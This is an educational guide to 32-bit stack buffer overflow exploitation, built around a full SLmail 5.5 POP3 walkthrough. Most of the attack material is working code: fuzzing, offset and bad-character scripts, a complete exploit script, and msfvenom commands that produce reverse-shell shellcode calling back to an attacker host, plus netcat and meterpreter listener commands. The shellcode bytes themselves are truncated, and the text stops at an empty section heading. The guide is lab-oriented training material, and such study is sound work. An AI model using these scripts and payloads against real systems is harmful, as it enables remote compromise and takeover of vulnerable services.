kavklaw@llm ~ /guides/buffer-overflow

kavklaw@llm $ cat buffer-overflow-guide.md

Buffer Overflow -- From Theory to Exploit

๐Ÿ”ด Advanced

โฑ๏ธ 35 min read ยท Understand the stack, control EIP, and write your first working exploit

โ† Back to Guides

Buffer overflow development requires a debugger, a scripting language, and a test environment. This guide focuses on 32-bit x86 (the standard for learning and OSCP), though the concepts apply to x64 with different register names (RIP instead of EIP, RSP instead of ESP) and wider addresses.

# Python 3 with pwntools (exploit development library)
pip3 install pwntools
# pwntools gives you: struct packing, shellcode helpers, socket wrappers, and more

# Metasploit Framework (for pattern_create, pattern_offset, msfvenom)
sudo apt install metasploit-framework

# For Linux targets โ€” GDB with peda or gef (enhanced debugger UI):
sudo apt install gdb
# Install gef (recommended):
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
# Or peda:
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

# For Windows targets โ€” Immunity Debugger + mona.py:
# 1. Install Immunity Debugger on your Windows test VM
# 2. Download mona.py: https://github.com/corelan/mona
# 3. Copy mona.py to Immunity's PyCommands folder

# Test environment: a Windows 7/10 VM with the vulnerable app installed
# OSCP-style: SLmail, vulnserver, brainpan, dostackbufferoverflowgood

x86 vs x64: Most beginner BOF exercises (OSCP, TryHackMe) use 32-bit x86. Key differences in x64: registers are 64-bit (RIP/RSP/RBP), addresses are 8 bytes instead of 4, and modern x64 systems have stricter mitigations (ASLR is harder to bypass with 64-bit address space). Master x86 first โ€” the concepts transfer directly.

โšก Quick Start

Buffer overflow exploitation follows a predictable, step-by-step process. Here's the high-level recipe:

THE BUFFER OVERFLOW RECIPE (7 Steps)
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
Step 1: Fuzz          โ†’ find the crash point
Step 2: Pattern       โ†’ find exact offset to EIP
Step 3: Verify EIP    โ†’ overwrite with 0x42424242 (BBBB)
Step 4: Bad chars     โ†’ identify bytes that break shellcode
Step 5: JMP ESP       โ†’ find redirect address in a loaded DLL
Step 6: Shellcode     โ†’ msfvenom reverse shell (exclude bad chars)
Step 7: Exploit!      โ†’ padding + JMP ESP + NOP sled + shellcode โ†’ SHELL!

 Buffer layout:
 โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
 โ”‚ A * 2606 โ”‚ JMP ESP   โ”‚ NOP * 16 โ”‚   Shellcode     โ”‚
 โ”‚ (padding)โ”‚ (4 bytes) โ”‚ (runway) โ”‚   (~351 bytes)  โ”‚
 โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Every step builds on the previous one. If you skip or mess up any step, your exploit won't work. Here's each one in detail.

๐Ÿง  Memory Layout

Before you can exploit a buffer overflow, you need to understand how a program's memory is organized. Don't worry if this feels abstract at first -- it clicks once you see it in a debugger. When a program runs on a 32-bit system, it gets a virtual address space (its own private view of memory) divided into segments:

High Memory (0xFFFFFFFF)
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚       Kernel Space       โ”‚  โ† Operating system (not accessible to the program)
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚                         โ”‚
โ”‚         Stack           โ”‚  โ† Local variables, function parameters, return addresses
โ”‚         โ†“ grows down    โ”‚     ESP (Stack Pointer) points to the top
โ”‚                         โ”‚
โ”œ โ”€ โ”€ โ”€ โ”€ โ”€ โ”€ โ”€ โ”€ โ”€ โ”€ โ”€ โ”ค
โ”‚                         โ”‚
โ”‚         โ†‘ grows up      โ”‚
โ”‚         Heap            โ”‚  โ† Dynamically allocated memory (malloc, new)
โ”‚                         โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚    Uninitialized Data   โ”‚  โ† .bss segment (global vars without initial value)
โ”‚       (BSS)             โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚    Initialized Data     โ”‚  โ† .data segment (global vars with initial value)
โ”‚       (Data)            โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚       Text/Code         โ”‚  โ† .text segment (the actual machine instructions)
โ”‚                         โ”‚     Read-only, executable
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
Low Memory (0x00000000)

The key insight: the Stack grows downward (from high to low memory addresses), while the Heap grows upward. Buffer overflows exploit the stack's layout -- specifically, the fact that local buffers and control data (like return addresses) sit right next to each other.

๐Ÿ“š How the Stack Works

The stack is a Last-In-First-Out (LIFO) data structure used by the CPU for function calls. Think of it like a stack of plates -- you can only add or remove from the top. Three CPU registers (small, fast storage locations inside the processor) are critical for understanding stack-based buffer overflows:

  • ESP (Extended Stack Pointer) -- Points to the top of the stack (the last item pushed). Always moving.
  • EBP (Extended Base Pointer) -- Points to the base of the current function's stack frame. Stable reference point for accessing local variables and parameters.
  • EIP (Extended Instruction Pointer) -- Points to the next instruction to execute. This is our target. If we control EIP, we control execution flow.

What Happens During a Function Call

# When main() calls vulnerable_function("AAAA"):

# 1. Push function arguments onto the stack (right to left)
PUSH "AAAA"              # Argument goes on the stack

# 2. CALL instruction pushes the return address (next instruction in main)
CALL vulnerable_function  # Pushes EIP (return address) onto stack

# 3. Function prologue โ€” set up new stack frame
PUSH EBP                 # Save the caller's base pointer
MOV EBP, ESP             # Set up new base pointer
SUB ESP, 64              # Allocate 64 bytes for local variables (buffer)

# The stack now looks like this:
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  High memory
โ”‚    Function arguments    โ”‚  โ† "AAAA" (the input)
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚    Return Address (EIP)  โ”‚  โ† Where to go when function returns
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚    Saved EBP             โ”‚  โ† Previous function's base pointer
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚                         โ”‚
โ”‚    Local Buffer (64B)   โ”‚  โ† char buffer[64]; โ€” our overflow target
โ”‚                         โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜  Low memory (ESP points here)

# 4. Function epilogue โ€” clean up and return
MOV ESP, EBP             # Restore stack pointer
POP EBP                  # Restore caller's base pointer
RET                      # Pop return address into EIP โ†’ jumps back to main()

The vulnerability is clear: the local buffer sits below the saved EBP and return address on the stack. If we write past the buffer's boundary, we overwrite first the saved EBP, then the return address (EIP). When the function returns, the CPU pops our overwritten value into EIP and jumps to whatever address we specified.

๐Ÿ’ฅ What Causes Buffer Overflows

Buffer overflows happen when a program copies data into a fixed-size buffer without checking the input length. Here's the classic vulnerable code:

// VULNERABLE CODE โ€” never do this!
#include <string.h>
#include <stdio.h>

void vulnerable_function(char *input) {
    char buffer[64];         // Fixed-size buffer: 64 bytes
    strcpy(buffer, input);   // Copies input without checking length!
    printf("You said: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    vulnerable_function(argv[1]);
    return 0;
}

// If input is 64 bytes or less โ†’ works fine
// If input is 65+ bytes โ†’ overflows into saved EBP
// If input is 69+ bytes โ†’ overflows into return address (EIP)!
// If input is 73+ bytes โ†’ overwrites everything above, including our shellcode landing zone

Dangerous Functions

These C functions are the usual suspects in buffer overflow vulnerabilities โ€” they don't check buffer bounds:

Dangerous (no bounds check)Safe Alternative
strcpy(dest, src)snprintf(dest, n, "%s", src)
strcat(dest, src)strncat(dest, src, n)
gets(input) โ† NEVER USEfgets(input, n, stdin)
sprintf(buf, fmt, ...)snprintf(buf, n, fmt, ...)
scanf("%s", buf)fgets + sscanf

๐Ÿ”จ Fuzzing -- Crashing the Target

Fuzzing is the process of sending increasingly large inputs to an application to see when it crashes. You start small and keep growing until the application crashes -- that crash means you've overwritten something important (likely EIP). This is the very first step: just find out how much data it takes to break things.

#!/usr/bin/python3
# fuzzer.py โ€” incrementally increase buffer size until crash
import socket
import sys
import time

target_ip = "10.10.10.100"
target_port = 110          # POP3 for SLmail example

buffer_size = 100
increment = 100
timeout = 5

while True:
    try:
        print(f"[*] Sending {buffer_size} bytes...")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        s.connect((target_ip, target_port))
        s.recv(1024)  # Receive banner

        # Send the payload (adjust protocol-specific commands)
        payload = b"A" * buffer_size
        s.send(b"USER admin\r\n")
        s.recv(1024)
        s.send(b"PASS " + payload + b"\r\n")
        s.recv(1024)

        s.close()
        buffer_size += increment
        time.sleep(1)

    except socket.timeout:
        print(f"[!] No response at {buffer_size} bytes โ€” possible crash!")
        print(f"[*] Crash occurred between {buffer_size - increment} and {buffer_size} bytes")
        sys.exit(0)
    except ConnectionRefusedError:
        print(f"[!] Connection refused at {buffer_size} bytes โ€” server crashed!")
        print(f"[*] Crash occurred between {buffer_size - increment} and {buffer_size} bytes")
        sys.exit(0)
    except Exception as e:
        print(f"[!] Error at {buffer_size} bytes: {e}")
        sys.exit(1)
๐Ÿ’ก Pro Tip: Always restart the target application after each crash. Attach a debugger (Immunity Debugger on Windows, GDB on Linux) before fuzzing so you can see exactly what register values look like at the time of crash. If EIP = 0x41414141 (AAAA), you've confirmed a stack-based buffer overflow.

๐ŸŽฏ Finding the Offset

Once you know the approximate crash point (say, around 2700 bytes), you need to find the exact offset where EIP gets overwritten. We do this by replacing the "AAAA..." buffer with a unique, non-repeating pattern.

# Generate a unique pattern using Metasploit
msf-pattern_create -l 2700
# Output: Aa0Aa1Aa2Aa3Aa4Aa5...

# Or using Python
python3 -c "
import struct
pattern = ''
for upper in range(ord('A'), ord('Z')+1):
    for lower in range(ord('a'), ord('z')+1):
        for digit in range(0, 10):
            pattern += chr(upper) + chr(lower) + str(digit)
            if len(pattern) >= 2700:
                break
        if len(pattern) >= 2700:
            break
    if len(pattern) >= 2700:
        break
print(pattern[:2700])
"

Send this pattern instead of "AAAA...". When the app crashes, check EIP in the debugger:

# In Immunity Debugger, after the crash, EIP shows something like:
# EIP = 39694438

# Find the offset โ€” where in the pattern does this value appear?
msf-pattern_offset -l 2700 -q 39694438
# [*] Exact match at offset 2606

# This means:
# Bytes 0-2605     โ†’ fill the buffer + saved EBP
# Bytes 2606-2609  โ†’ overwrite EIP (4 bytes on 32-bit)
# Bytes 2610+      โ†’ land on the stack AFTER the return address

# Using mona.py in Immunity Debugger (faster):
!mona findmsp                          # Finds all pattern matches automatically
# EIP contains normal pattern : 0x39694438 (offset 2606)
# ESP points to offset 2610

๐ŸŽฎ Controlling EIP

Now verify that you can precisely control EIP. Craft a payload where bytes 2606-2609 are a recognizable value:

#!/usr/bin/python3
# eip_control.py โ€” verify EIP control
import socket
import struct

target_ip = "10.10.10.100"
target_port = 110
offset = 2606

# Build the payload
buffer = b"A" * offset          # Padding to reach EIP
buffer += b"B" * 4              # Overwrite EIP with 42424242 (BBBB)
buffer += b"C" * (2700 - len(buffer))  # Fill remaining space

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(b"USER admin\r\n")
s.recv(1024)
s.send(b"PASS " + buffer + b"\r\n")
s.close()

print("[*] Payload sent! Check debugger.")
print("[*] EIP should be 0x42424242 (BBBB)")
print("[*] ESP should point to the C's (0x43434343...)")

# In the debugger after crash:
# EIP = 42424242     โ† We control EIP! โœ“
# ESP โ†’ 43434343...  โ† Our C's are on the stack after EIP โœ“
# This means we can redirect execution to our shellcode
๐Ÿ’ก Pro Tip: If EIP is NOT 0x42424242, your offset is wrong. Double-check by regenerating the pattern and recalculating. Off-by-one errors are common -- verify with mona.py's !mona findmsp command which automatically identifies all register offsets.
๐Ÿง Knowledge Check -- Stack Layout & EIP Control
In a 32-bit x86 system, what does the EIP register contain?
EIP (Extended Instruction Pointer) points to the next instruction the CPU will execute. This is the attacker's primary target โ€” if you control EIP, you control the program's execution flow and can redirect it to your shellcode.
After a crash, the debugger shows EIP = 0x39694438. What Metasploit command finds the exact offset in your pattern?
msf-pattern_offset takes the EIP value found after a crash with a unique pattern and calculates the exact byte offset where EIP gets overwritten. Usage: msf-pattern_offset -l LENGTH -q EIP_VALUE. This is step 2 of the buffer overflow recipe โ€” finding the exact offset.
On the stack, from LOW memory to HIGH memory, what is the correct order of elements in a function's stack frame?
From low memory to high: Local Buffer (where overflow starts) โ†’ Saved EBP โ†’ Return Address (EIP) โ†’ Function Arguments. This layout is why overflowing the buffer overwrites EBP first, then EIP. The stack grows downward, so local variables sit below (lower address than) the saved frame data.

๐Ÿšซ Finding Bad Characters

Before generating shellcode (the actual malicious code you want to run), you need to identify "bad characters" -- specific byte values that the application transforms, truncates, or drops during processing. If your shellcode contains a bad character, it gets corrupted and the exploit silently fails with no error message. This step is tedious but skipping it is the #1 reason exploits don't work.

Common bad characters:

  • \x00 (null byte) -- terminates strings in C. Almost always bad.
  • \x0a (newline) -- ends input in line-based protocols.
  • \x0d (carriage return) -- ends input in many protocols.
  • \x20 (space) -- sometimes truncates input.
  • \xff -- problematic in some encodings.
#!/usr/bin/python3
# badchars.py โ€” send all possible byte values to find bad characters
import socket

target_ip = "10.10.10.100"
target_port = 110
offset = 2606

# Generate all bytes from \x01 to \xff (\x00 is almost always bad)
badchars = b""
for i in range(1, 256):
    badchars += bytes([i])

# Build payload
buffer = b"A" * offset
buffer += b"B" * 4             # EIP placeholder
buffer += badchars              # All possible bytes after EIP

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(b"USER admin\r\n")
s.recv(1024)
s.send(b"PASS " + buffer + b"\r\n")
s.close()

print(f"[*] Sent {len(badchars)} test bytes after EIP")
print("[*] Check ESP in debugger โ€” follow the dump")
print("[*] Look for where the sequence breaks or bytes are missing/changed")

Analyzing Bad Characters in the Debugger

# In Immunity Debugger:
# 1. Right-click ESP โ†’ "Follow in Dump"
# 2. You should see: 01 02 03 04 05 06 07 08 09 0A 0B 0C...
# 3. Look for where the sequence breaks or bytes are wrong

# Example: You see this in memory:
# 01 02 03 04 05 06 07 08 09  โ† Then it stops at 0A
# This means 0x0A is a bad character (newline)

# Remove 0x0A from your test, resend, and check again
# Keep iterating until the entire sequence appears correctly

# Using mona.py (much faster):
!mona bytearray -b "\x00"             # Generate comparison bytearray
!mona compare -f bytearray.bin -a ESP  # Auto-compare memory vs expected

# mona output:
# Possibly bad chars: 00 0a 0d
# โ†‘ These bytes need to be excluded from shellcode
๐Ÿ’ก Pro Tip: Bad character analysis is tedious but critical. A single bad byte in your shellcode will silently corrupt it, and you'll get no shell with no error message. Use mona.py's compare function -- it automates the comparison and highlights discrepancies. Remove bad chars one at a time and retest.

๐Ÿ” Finding JMP ESP

You need to redirect execution to your shellcode, which sits on the stack where ESP points after the function returns. You can't hardcode a stack address (it changes every time due to ASLR, environment variables, etc.). Instead, you find a JMP ESP instruction somewhere in a loaded DLL or module -- this instruction tells the CPU "jump to wherever ESP is pointing right now." Since ESP points to your shellcode, the CPU runs your code.

The trick: overwrite EIP with the address of a JMP ESP instruction. When the function returns:

  1. CPU pops our value into EIP โ†’ jumps to JMP ESP instruction
  2. JMP ESP executes โ†’ jumps to where ESP points
  3. ESP points to our shellcode (right after EIP on the stack)
  4. Shellcode executes โ†’ reverse shell!
# Using mona.py to find JMP ESP:
!mona jmp -r esp -cpb "\x00\x0a\x0d"

# -r esp      โ†’ find JMP ESP instructions
# -cpb        โ†’ exclude modules with these bad chars in their address

# Output:
# 0x625011af : jmp esp | {PAGE_EXECUTE_READ}
#   [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False
# โ†‘ PERFECT โ€” no ASLR, no SafeSEH, and the address doesn't contain bad chars

# Verify manually in Immunity:
# Go to address 0x625011af โ†’ should show: FFE4 (opcode for JMP ESP)

# Alternative: find JMP ESP using nasm_shell
msf-nasm_shell
nasm> jmp esp
# Output: FFE4
# Then search for FFE4 in loaded modules:
!mona find -s "\xff\xe4" -m essfunc.dll

Requirements for a Good JMP ESP Address

  • No ASLR -- the module must load at the same address every time
  • No DEP -- the memory region must be executable
  • No bad characters in the address bytes (e.g., if \x00 is bad, address can't contain 00)
  • No SafeSEH -- for SEH-based exploits (not applicable for vanilla stack overflows)
  • No Rebase -- module shouldn't relocate on load

๐Ÿš Generating Shellcode

Shellcode is the actual payload -- the raw machine code that runs after you hijack execution. Usually this is a reverse shell (code that connects back to your machine and gives you a command prompt on the target). msfvenom (part of Metasploit) generates this shellcode for you -- you don't need to write assembly by hand.

# Generate a reverse shell shellcode (Windows)
msfvenom -p windows/shell_reverse_tcp \
  LHOST=10.10.14.5 \
  LPORT=4444 \
  -f python \
  -b "\x00\x0a\x0d" \
  -v shellcode \
  EXITFUNC=thread

# -p              โ†’ payload
# LHOST           โ†’ your attacker IP (where the shell connects back to)
# LPORT           โ†’ your listening port
# -f python       โ†’ output format (python variable assignment)
# -b "\x00\x0a\x0d" โ†’ bad characters to avoid
# -v shellcode    โ†’ variable name in the output
# EXITFUNC=thread โ†’ exit cleanly without crashing the process

# For Linux targets:
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=10.10.14.5 \
  LPORT=4444 \
  -f python \
  -b "\x00" \
  EXITFUNC=thread

# Staged vs stageless:
# windows/shell_reverse_tcp  โ†’ Stageless (all-in-one, ~351 bytes)
# windows/shell/reverse_tcp  โ†’ Staged (small stager, downloads rest)
# For buffer overflows, stageless is usually better

# For meterpreter:
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 \
  LPORT=4444 \
  -f python \
  -b "\x00\x0a\x0d"
โš ๏ธ Important: The -b flag tells msfvenom to use an encoder (usually shikata_ga_nai) to avoid bad characters. Encoding adds a decoder stub to the beginning of the shellcode, making it slightly larger. Make sure your buffer has enough space for the encoded shellcode (~400 bytes to be safe).

๐Ÿ›ท The NOP Sled

A NOP sled (also called NOP slide) is a sequence of No-Operation (\x90) instructions placed before your shellcode. The CPU executes each NOP without doing anything and "slides" into the shellcode.

Why use a NOP sled? The encoded shellcode starts with a decoder stub that unpacks itself, and this decoder needs a few bytes of "runway." The NOP sled provides that runway โ€” the CPU slides through NOPs until it hits the shellcode. 16-32 bytes is typically sufficient.

nop_sled = b"\x90" * 16

# The complete buffer structure:
# โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
# โ”‚ A * 2606 โ”‚ JMP ESP   โ”‚ NOP * 16 โ”‚ Shellcode โ”‚
# โ”‚ (padding)โ”‚ (4 bytes) โ”‚ (runway) โ”‚ (~351 B)  โ”‚
# โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
๐Ÿง Knowledge Check -- Exploit Components
Why can't you hardcode a stack address for your shellcode and instead need a JMP ESP instruction in a loaded module?
Stack addresses vary between executions due to ASLR, different environment variables, and runtime conditions. A JMP ESP instruction in a non-ASLR module has a fixed address and tells the CPU "jump to wherever ESP currently points" โ€” which is right after our overwritten return address, where our shellcode sits.
What is the purpose of the NOP sled (\x90 bytes) placed before shellcode in a buffer overflow exploit?
The NOP sled provides a "runway" for the shellcode's decoder stub. Encoded shellcode (generated with -b flag in msfvenom) starts with a decoder that unpacks itself, and this decoder modifies memory around itself during decoding. Without the NOP sled, the decoder can corrupt adjacent data. A typical sled is 16-32 bytes of \x90.

๐Ÿ—๏ธ Complete Exploit Script

Buffer Overflow Exploit Structure
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
Low Memory                                              High Memory
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ "A" * offset โ”‚ JMP ESP  โ”‚ NOP sled โ”‚       Shellcode          โ”‚
โ”‚  (padding)   โ”‚ (4 bytes)โ”‚ \x90*16  โ”‚  (reverse shell ~351B)  โ”‚
โ”‚   2606 B     โ”‚ overwritesโ”‚ decoder โ”‚  msfvenom payload       โ”‚
โ”‚              โ”‚   EIP    โ”‚ runway   โ”‚                          โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                     โ”‚          โ–ฒ
                     โ”‚          โ”‚
                     โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                   JMP ESP jumps here
                   (ESP points to NOP sled)

Here's the complete exploit putting all the pieces together:

#!/usr/bin/python3
# exploit.py โ€” Complete buffer overflow exploit
import socket
import struct
import sys

# ============ CONFIGURATION ============
target_ip = "10.10.10.100"
target_port = 110
offset = 2606
jmp_esp = 0x625011af       # JMP ESP address from mona.py

# ============ SHELLCODE ============
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444
#   -f python -b "\x00\x0a\x0d" -v shellcode EXITFUNC=thread
shellcode =  b""
shellcode += b"\xdb\xc0\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
shellcode += b"\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30"
# ... (truncated โ€” your actual shellcode here)
shellcode += b"\x41\x41\x41\x41\x41"

# ============ BUILD EXPLOIT ============
buffer = b"A" * offset                           # [1] Padding to reach EIP
buffer += struct.pack("<I", jmp_esp)              # [2] Overwrite EIP โ†’ JMP ESP
buffer += b"\x90" * 16                            # [3] NOP sled (decoder runway)
buffer += shellcode                               # [4] Reverse shell payload

print(f"[*] Buffer overflow exploit")
print(f"[*] Target: {target_ip}:{target_port}")
print(f"[*] Offset: {offset}")
print(f"[*] JMP ESP: {hex(jmp_esp)}")
print(f"[*] Shellcode size: {len(shellcode)} bytes")
print(f"[*] Total payload: {len(buffer)} bytes")

# ============ SEND EXPLOIT ============
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))
    banner = s.recv(1024)
    print(f"[*] Banner: {banner.decode().strip()}")

    s.send(b"USER admin\r\n")
    s.recv(1024)

    print("[*] Sending exploit payload...")
    s.send(b"PASS " + buffer + b"\r\n")

    print("[+] Exploit sent! Check your listener.")
    s.close()

except Exception as e:
    print(f"[-] Error: {e}")
    sys.exit(1)

# ============ DON'T FORGET THE LISTENER ============
# Before running this script, start your listener:
# nc -lvnp 4444
# Or for meterpreter:
# msfconsole -q -x "use exploit/multi/handler; set payload windows/shell_reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; exploit"

๐Ÿ”ฌ Practical: SLmail Exploit Walkthrough

Here's a full walkthrough of exploiting SLmail 5.5 โ€” a classic buffer overflow exercise that's part of the OSCP curriculum.

Setup

# Target: Windows 7 VM with SLmail 5.5 installed
# Attacker: Kali Linux
# SLmail runs POP3 on port 110
# The PASS command in POP3 is vulnerable to buffer overflow

# Install and configure:
# 1. Install SLmail 5.5 on Windows 7 VM
# 2. Install Immunity Debugger
# 3. Install mona.py (copy to Immunity's PyCommands folder)
# 4. Attach Immunity Debugger to SLmail process (SLmail.exe)

# In Immunity Debugger:
!mona config -set workingfolder c:\mona\%p

Step 1: Fuzzing

# Run the fuzzer script above targeting port 110
# Result: Server crashes at approximately 2700 bytes
# In Immunity: EIP = 41414141 (AAAA) โ†’ confirmed buffer overflow!

# Restart SLmail and reattach debugger for next step

Step 2: Find the Exact Offset

# Generate pattern
msf-pattern_create -l 2700

# Send pattern as the PASS value (use the pattern in place of A's)
# After crash, check EIP in Immunity Debugger:
# EIP = 39694438

msf-pattern_offset -l 2700 -q 39694438
# [*] Exact match at offset 2606

# Alternatively, in Immunity:
!mona findmsp
# EIP contains normal pattern : 0x39694438 (offset 2606)

Step 3: Verify EIP Control

# Send: "A" * 2606 + "BBBB" + "C" * 90
# After crash:
# EIP = 42424242 (BBBB) โ† We control EIP! โœ“
# ESP โ†’ points to CCCCCC... โ† We control what ESP points to! โœ“

Step 4: Find Bad Characters

# Using mona.py:
!mona bytearray -b "\x00"    # Generate reference (excluding null)

# Send all bytes \x01-\xff after EIP
# After crash:
!mona compare -f c:\mona\slmail\bytearray.bin -a ESP

# Result: Bad characters are \x00, \x0a, \x0d
# Remove each, regenerate bytearray, resend, compare, repeat
# until mona says "Unmodified" โ€” all remaining bytes are safe

Step 5: Find JMP ESP

# In Immunity:
!mona jmp -r esp -cpb "\x00\x0a\x0d"

# Results (example):
# 0x5f4a358f : jmp esp | SLMFC.DLL (no ASLR, no DEP)
# Verify: the address bytes (5f 4a 35 8f) don't contain 00, 0a, or 0d โœ“

# Remember: x86 is little-endian!
# 0x5f4a358f โ†’ stored in memory as: \x8f\x35\x4a\x5f
# struct.pack("<I", 0x5f4a358f) handles this automatically

Step 6: Generate Shellcode

msfvenom -p windows/shell_reverse_tcp \
  LHOST=10.10.14.5 \
  LPORT=4444 \
  -f python \
  -b "\x00\x0a\x0d" \
  -v shellcode \
  EXITFUNC=thread

# Copy the output into your exploit script

Step 7: Exploit!

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
python3 exploit.py

# Terminal 1:
# connect to [10.10.14.5] from (UNKNOWN) [10.10.10.100] 49152
# Microsoft Windows [Version 6.1.7601]
# C:\Program Files\SLmail\>whoami
# slmail-pc\administrator
# 
# โ† We have a shell! ๐ŸŽ‰

๐Ÿ”„ SEH Overflows

